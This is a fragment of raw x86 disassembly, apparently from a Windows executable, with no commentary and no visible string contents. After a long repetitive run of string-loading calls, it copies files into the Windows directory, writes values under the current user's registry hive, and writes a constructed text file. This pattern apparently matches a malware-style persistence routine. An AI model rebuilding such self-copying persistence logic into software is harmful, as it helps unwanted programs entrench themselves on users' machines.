call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157900
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157918
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157924
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157930
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315793c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315794c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315795c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315796c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315797c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157988
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157994
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131579fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a70
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a80
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157a9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157aa4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ab4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ac4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ad0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157adc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157aec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157afc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b0c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b58
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b64
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ba4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bb4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bd4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157be4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157bf4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c5c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c64
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c74
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157c90
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ca0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cc0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cd0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ce0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157cf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d0c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d38
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d54
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157d9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157da8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157db4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157dc0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157dcc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157dd8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157de4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157df0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e00
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e10
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e1c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e5c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e68
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e74
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e80
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e88
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157e94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ea0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ea8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157eb0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ec4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ecc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ed4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ee0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157eec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157efc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f0c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f20
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f58
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f64
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157f94
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fa0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fb0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157fe0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157ff0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158000
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158018
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158028
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158038
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158044
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158050
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315805c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158068
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158074
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158080
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158088
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158090
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158098
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131580f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158100
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158110
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158120
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315812c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315813c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315814c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315815c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158168
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158178
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158184
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158190
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315819c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131581f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158200
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315820c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158228
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158238
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158248
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158254
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158260
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315826c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158278
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158284
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158290
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131582fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158304
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158314
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158324
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158330
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158340
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315834c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158360
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158370
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158380
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158390
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315839c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131583fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158408
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158414
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158424
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158434
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158444
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158454
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158460
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315846c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315847c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158434
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158488
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158494
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157500
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157b28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131584f8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13158500
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315850c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152aa7
call fcn.1314e92c
call fcn.1314e92c
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
mov eax, dword [0x1315aefc]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13152b29
push 0x13158520
lea edx, [ebp - 0x158]
mov eax, 0x1315852c
call fcn.1314c4a8
mov edx, dword [ebp - 0x158]
mov ecx, 0x13158578
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aeb8]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13152cde
mov eax, dword [0x1315aed8]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13152be4
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13152bd0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x15c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
mov eax, dword [ebp - 0x15c]
call fcn.1314c964
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152bda
call fcn.1314e92c
jmp 0x13152cd9
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13152cc5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x160]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
mov eax, dword [ebp - 0x160]
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x13158590
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x1315859c
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x131585a8
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x131585b4
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x131585c0
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x131585cc
call fcn.1314d5e4
call fcn.1314e92c
mov eax, 0x131585d8
call fcn.1314d5e4
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152ccf
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
lea eax, [ebp - 0x16c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
push dword [ebp - 0x16c]
push dword [0x1315ae6c]
push 0x13156a48
push dword [0x1315ae70]
push 0x13156a58
lea eax, [ebp - 0x168]
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x168]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x164]
call fcn.13144648
mov eax, dword [ebp - 0x164]
call fcn.1314be30
test al, al
je 0x13152d58
jmp 0x13154563
mov edx, dword [0x1315ae78]
mov eax, 0x131585e4
call fcn.131449d4
test eax, eax
jle 0x13152d8c
mov eax, dword [0x1315ae78]
call fcn.131446ec
mov edx, eax
mov eax, 0x1315ae78
mov ecx, 1
call fcn.1314498c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315ae78]
mov eax, 0x131585f0
call fcn.131449d4
test eax, eax
jle 0x13153180
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
push 0
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
lea eax, [ebp - 0x170]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x170]
call fcn.131448ec
push eax
lea edx, [ebp - 0x17c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x17c]
lea eax, [ebp - 0x178]
mov edx, 0x13158600
call fcn.13144738
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.1314c4a8
mov eax, dword [ebp - 0x174]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x180]
push eax
lea edx, [ebp - 0x184]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x184]
mov ecx, dword [0x1315ae74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315aedc]
mov edx, 0x13156a20
call fcn.13144838
jne 0x1315317b
push 0
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x188]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x188]
call fcn.131448ec
push eax
lea edx, [ebp - 0x194]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x194]
lea eax, [ebp - 0x190]
mov edx, 0x13158670
call fcn.13144738
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x18c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x18c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13152fb8
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158664
lea eax, [ebp - 0x198]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x198]
mov edx, 0x1315ae60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x19c]
mov eax, dword [0x1315ae60]
call fcn.1314ba54
mov edx, dword [ebp - 0x19c]
mov eax, 0x1315ae58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13152fc2
call fcn.1314e92c
push 0x13158690
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158700
push 0x13158714
push 0x13158720
push dword [0x1315ae58]
push 0x13158734
push 0x13158714
push 0x13158740
push 0x13158714
push 0x13158774
push 0x13158714
push 0x131587b8
push 0x13158714
push 0x131587c8
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131587f4
push 0x13158714
push 0x13158808
push 0x13158714
push 0x13158828
push 0x13158714
push 0x13158840
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x13158870
push 0x13158714
push 0x13158884
push 0x13158714
push 0x13158894
push 0x13158714
push 0x131588b0
push 0x13158714
mov eax, 0x1315ae5c
mov edx, 0x26
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x1a0]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1a0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315ae38
mov eax, dword [0x1315ae5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315ae5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315ae00]
push 0x13156a3c
push dword [0x1315ae74]
push 0x131588c0
lea eax, [ebp - 0x1a4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1a4]
push eax
lea edx, [ebp - 0x1a8]
mov eax, 0x13158618
call fcn.1314c4a8
mov edx, dword [ebp - 0x1a8]
mov ecx, dword [0x1315ae78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315ae78]
mov eax, 0x131588d0
call fcn.131449d4
test eax, eax
jle 0x13153574
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
push 0
push dword [0x1315ae00]
push 0x131588e4
push dword [0x1315ae74]
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1ac]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1b8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1b8]
lea eax, [ebp - 0x1b4]
mov edx, 0x13158600
call fcn.13144738
mov eax, dword [ebp - 0x1b4]
lea edx, [ebp - 0x1b0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push dword [0x1315ae00]
push 0x131588e4
push dword [0x1315ae74]
